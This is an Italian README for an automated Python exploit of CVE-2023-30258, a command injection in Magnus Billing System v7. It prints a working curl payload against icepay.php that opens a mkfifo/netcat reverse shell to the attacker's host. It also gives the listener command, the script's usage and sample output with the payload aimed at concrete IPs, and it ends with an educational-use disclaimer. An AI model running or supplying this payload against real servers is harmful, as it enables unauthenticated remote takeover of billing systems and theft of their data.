
Exploit Python automatizzato per CVE-2023-30258, una iniezione di comandi in Magnus Billing System v7. Invia una richiesta GET appositamente modificata a icepay.php per eseguire comandi arbitrari e stabilire una reverse shell.
Questo script Python automatizza lo sfruttamento di una vulnerabilità di iniezione di comandi in Magnus Billing System v7, in particolare nello script icepay.php situato in /mbilling/lib/icepay/icepay.php. L'exploit sfrutta il parametro democ per eseguire comandi arbitrari sul sistema target, stabilendo infine una reverse shell verso una macchina controllata dall'attaccante.
La vulnerabilità permette l'iniezione di comandi non autenticata tramite una richiesta GET costruita ad arte. La prova di concetto (PoC) originale utilizzava il seguente comando curl:
curl -s 'http://<TARGET_IP>/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f;'
Questo script automatizza tale processo, rendendolo configurabile tramite argomenti da riga di comando.
requests per inviare la richiesta HTTP con il payloadrequests:
pip install requests
netcat (nc) installato affinché la reverse shell funzioninetcat sulla macchina attaccante per catturare la reverse shellicepay.php vulnerabile accessibileexploit.pynetcat:
nc -lvnp <PORT>
<PORT> con la porta scelta (ad es. 443)python exploit.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
Parametri:
-t, --target: Indirizzo IP del sistema target Magnus Billing-a, --attacker: Il tuo indirizzo IP per ricevere la reverse shell-p, --port: Porta sulla tua macchina per la reverse shellpython exploit.py -t 10.10.160.86 -a 10.8.64.79 -p 443
Output previsto:
=== Magnus Billing System v7 Exploit ===
Command Injection via icepay.php - Reverse Shell
=======================================
[+] Targeting: http://10.10.160.86/mbilling/lib/icepay/icepay.php
[+] Attacker: 10.8.64.79:443
[+] Sending payload: ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.64.79 443 >/tmp/f;
[+] Richiesta inviata con successo!
[*] Controlla il tuo listener netcat (ad es. 'nc -lvnp 443') per una shell.
netcat per interagire con la reverse shell se ha successomkfifo) con netcatprint(response.text) nella funzione exploit()netcat installatoQuesto strumento è fornito solo a scopo educativo e di test di sicurezza. Usalo solo su sistemi per cui hai esplicita autorizzazione al test. L'uso non autorizzato contro sistemi di cui non possiedi o non hai il consenso di testare è illegale e non etico. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo script.
Questo progetto è rilasciato sotto la licenza MIT. Sentiti libero di modificarlo e distribuirlo come necessario, mantenendo intatto il disclaimer.
Contributi, segnalazioni di bug e richieste di funzionalità sono benvenute. Non esitare a inviare una pull request o aprire un issue.